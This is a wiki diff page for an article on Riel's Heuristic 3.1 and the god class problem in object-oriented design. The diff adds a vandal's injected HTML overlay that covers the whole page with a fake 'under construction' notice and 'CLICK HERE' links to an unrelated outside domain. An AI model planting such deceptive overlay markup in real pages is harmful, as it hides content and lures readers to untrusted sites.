Distribute system intelligence

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://unugeboq.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://unugeboq.co.cc CLICK HERE]=
 +
----
 +
</div>
 
:''Distribute system intelligence horizontally as uniformly as possible, i.e. the top level classes in a design should share the work uniformly.'' --Riel's Heuristic 3.1, [[Arthur Riel 1996]]
 
:''Distribute system intelligence horizontally as uniformly as possible, i.e. the top level classes in a design should share the work uniformly.'' --Riel's Heuristic 3.1, [[Arthur Riel 1996]]
  
 
==Description==
 
==Description==
From chapter 3.3 of [[Arthur Riel 1996]], Riel describes the "god class problem":
+
From chapter 3.3 of [[Arthur Riel 1996]], Riel describes the &quot;god class problem&quot;:
<blockquote>
+
&lt;blockquote&gt;
 
''The behavioral form of the god class problem is caused by a common error among action-oriented developers in the process of moving to the object-oriented paradigm. These developers attempt to capture the central control mechanism so prevalent in the action-oriented paradigm within their object-oriented design. The result is the creation of a god object that performs most of the work, leaving minor details to a collection of trivial classes. There are a number of heuristics that work together cooperatively toward the avoidance of these classes.''
 
''The behavioral form of the god class problem is caused by a common error among action-oriented developers in the process of moving to the object-oriented paradigm. These developers attempt to capture the central control mechanism so prevalent in the action-oriented paradigm within their object-oriented design. The result is the creation of a god object that performs most of the work, leaving minor details to a collection of trivial classes. There are a number of heuristics that work together cooperatively toward the avoidance of these classes.''
</blockquote>
+
&lt;/blockquote&gt;
  
 
This heuristic follows from that.
 
This heuristic follows from that.
  
 
[[Category:Riel's heuristics]]
 
[[Category:Riel's heuristics]]

Revision as of 07:31, 24 November 2010


Distribute system intelligence horizontally as uniformly as possible, i.e. the top level classes in a design should share the work uniformly. --Riel's Heuristic 3.1, Arthur Riel 1996

Description

From chapter 3.3 of Arthur Riel 1996, Riel describes the "god class problem": <blockquote> The behavioral form of the god class problem is caused by a common error among action-oriented developers in the process of moving to the object-oriented paradigm. These developers attempt to capture the central control mechanism so prevalent in the action-oriented paradigm within their object-oriented design. The result is the creation of a god object that performs most of the work, leaving minor details to a collection of trivial classes. There are a number of heuristics that work together cooperatively toward the avoidance of these classes. </blockquote>

This heuristic follows from that.

Personal tools